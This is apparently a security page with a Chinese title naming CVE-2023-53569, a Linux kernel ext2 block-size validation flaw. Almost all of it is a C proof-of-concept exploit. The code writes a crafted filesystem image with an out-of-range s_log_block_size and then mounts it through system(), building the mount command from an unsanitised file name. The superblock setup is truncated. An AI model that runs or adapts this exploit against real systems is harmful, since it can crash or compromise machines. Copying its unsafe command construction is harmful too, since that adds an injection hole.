CVE-2023-53569 Linux内核ext2文件系统块大小验证绕过漏洞

// CVE-2023-53569 PoC - Craft a malicious ext2 filesystem image // with invalid s_log_block_size to trigger integer overflow #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <linux/fs.h> #define BLOCK_SIZE 1024 #define SUPERBLOCK_OFFSET 1024 struct ext2_super_block { unsigned int s_inodes_count; unsigned int s_blocks_count; unsigned int s_r_blocks_count; unsigned int s_free_blocks_count; unsigned int s_free_inodes_count; unsigned int s_first_data_block; unsigned int s_log_block_size; // <-- vulnerable field unsigned int s_log_frag_size; // ... other fields truncated }; int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <output_image>\n", argv[0]); return 1; } // Create a minimal ext2 filesystem image int fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } // Allocate space for the image (1MB) char buf[BLOCK_SIZE]; memset(buf, 0, sizeof(buf)); for (int i = 0; i < 1024; i++) write(fd, buf, BLOCK_SIZE); // Write superblock at offset 1024 lseek(fd, SUPERBLOCK_OFFSET, SEEK_SET); struct ext2_super_block sb; memset(&sb, 0, sizeof(sb)); sb.s_inodes_count = 16; sb.s_blocks_count = 1024; sb.s_free_blocks_count = 1000; sb.s_free_inodes_count = 10; sb.s_first_data_block = 1; // Set malicious s_log_block_size to trigger overflow // Valid range is 0-2, we set it to 64 to cause UB sb.s_log_block_size = 64; sb.s_log_frag_size = 64; write(fd, &sb, sizeof(sb)); close(fd); printf("[+] Malicious ext2 image created: %s\n", argv[1]); printf("[+] Attempting to mount to trigger CVE-2023-53569...\n"); // Try to mount (requires root) char cmd[256]; snprintf(cmd, sizeof(cmd), "mount -o loop %s /mnt/test 2>&1 || true", argv[1]); system(cmd); return 0; }